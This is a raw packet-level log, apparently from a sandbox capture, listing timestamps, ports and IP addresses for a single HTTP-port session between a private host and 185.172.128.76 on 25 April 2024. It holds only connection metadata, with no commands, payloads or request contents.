Apr 25, 2024 14:42:09.038332939 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038361073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038374901 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038398981 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038398981 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038412094 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038412094 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038438082 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038448095 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038451910 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038486004 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038520098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038532972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038543940 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038556099 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038563967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038574934 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038604021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038625002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038650036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038665056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038688898 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038690090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038705111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038729906 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038743019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038774014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038788080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038815022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038825989 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038851976 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038866043 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038892031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038898945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038907051 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038913012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038938999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038939953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038954020 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038978100 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.038983107 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.038996935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039007902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039025068 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039032936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039047956 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039066076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039079905 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039113045 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039120913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039129972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039143085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039155006 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039170027 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039182901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039196014 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039208889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039222956 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039249897 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039258957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039262056 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039300919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039321899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039361954 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039386988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039400101 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039422989 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039426088 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039439917 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039459944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039468050 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039505959 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039547920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039560080 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039587975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039599895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039624929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039665937 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039684057 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039697886 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039710045 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039722919 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039724112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039736986 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039757967 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039763927 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039799929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039803028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039813042 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039839029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039849997 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039864063 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039890051 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039902925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039907932 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039928913 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039938927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.039958000 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039973021 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.039998055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.040011883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.040023088 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.040056944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.040061951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.040105104 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.040128946 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.040163040 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.040170908 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.040188074 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.040201902 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.040201902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.040215969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.040226936 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.040230036 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.040246010 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.040265083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.148911953 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.355050087 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461123943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461189032 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461234093 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461241007 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461263895 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461273909 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461287022 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461313009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461323023 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461361885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461361885 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461405039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461419106 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461457014 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461471081 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461493969 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461503029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461533070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461539984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461570024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.461580992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.461615086 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.513808012 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.513870001 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.513911009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.513952017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.513989925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514023066 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514028072 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514066935 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514103889 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514141083 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514179945 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514197111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514197111 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514198065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514198065 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514213085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514219999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514238119 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514257908 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514272928 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514297009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514309883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514336109 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514353037 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514391899 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514394999 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514434099 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514447927 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514472008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514484882 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514507055 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514522076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514544964 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514556885 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514583111 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514595032 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514631033 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514705896 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514740944 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.514758110 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.514792919 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566004038 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566046953 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566082954 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566118002 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566157103 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566195011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566231966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566266060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566286087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566286087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566286087 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566303015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566310883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566310883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566340923 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566360950 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566379070 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566387892 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566417933 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566428900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566457033 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566472054 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566493988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566508055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566544056 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566550016 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566587925 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566601992 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566637993 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566641092 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566679955 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566694021 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566714048 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566729069 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566751957 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566766977 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566788912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566802025 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566827059 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566839933 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566863060 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566879988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566900015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566907883 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566939116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566950083 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.566977024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.566991091 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567011118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567028999 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567048073 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567061901 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567089081 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567101002 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567127943 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567137957 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567162991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567178965 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567200899 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567217112 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567244053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567253113 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567281961 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567296028 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567317009 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567332029 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567356110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567367077 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567394972 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567408085 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567433119 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567446947 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567466974 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567482948 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567504883 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567517042 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567543983 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567557096 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567584991 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567596912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567619085 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567634106 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567656994 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567667961 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567694902 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567708015 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567733049 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567745924 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567771912 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567785978 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567811966 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567833900 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567850113 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567863941 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567886114 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.567899942 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.567935944 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.618683100 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.618726015 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.618765116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.618772984 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.618803024 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.618841887 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.618881941 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.618916988 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.618954897 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.618983030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.618983030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.618983030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.618983030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.618983030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.618983030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.618992090 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619000912 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619033098 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619045019 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619070053 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619096994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619107008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619117975 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619144917 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619157076 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619184017 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619194031 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619223118 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619236946 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619261980 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619271040 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619317055 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619318008 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619354963 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619369030 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619393110 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619405985 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619431973 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619446039 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619469881 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619482994 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619504929 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619520903 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619543076 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619554043 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619591951 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619601011 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619638920 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619651079 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619673967 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619688988 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619710922 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619721889 CEST	49731	80	192.168.2.4	185.172.128.76
Apr 25, 2024 14:42:09.619748116 CEST	80	49731	185.172.128.76	192.168.2.4
Apr 25, 2024 14:42:09.619756937 CEST	49731	80	192.168.2.4	185.172.128.76
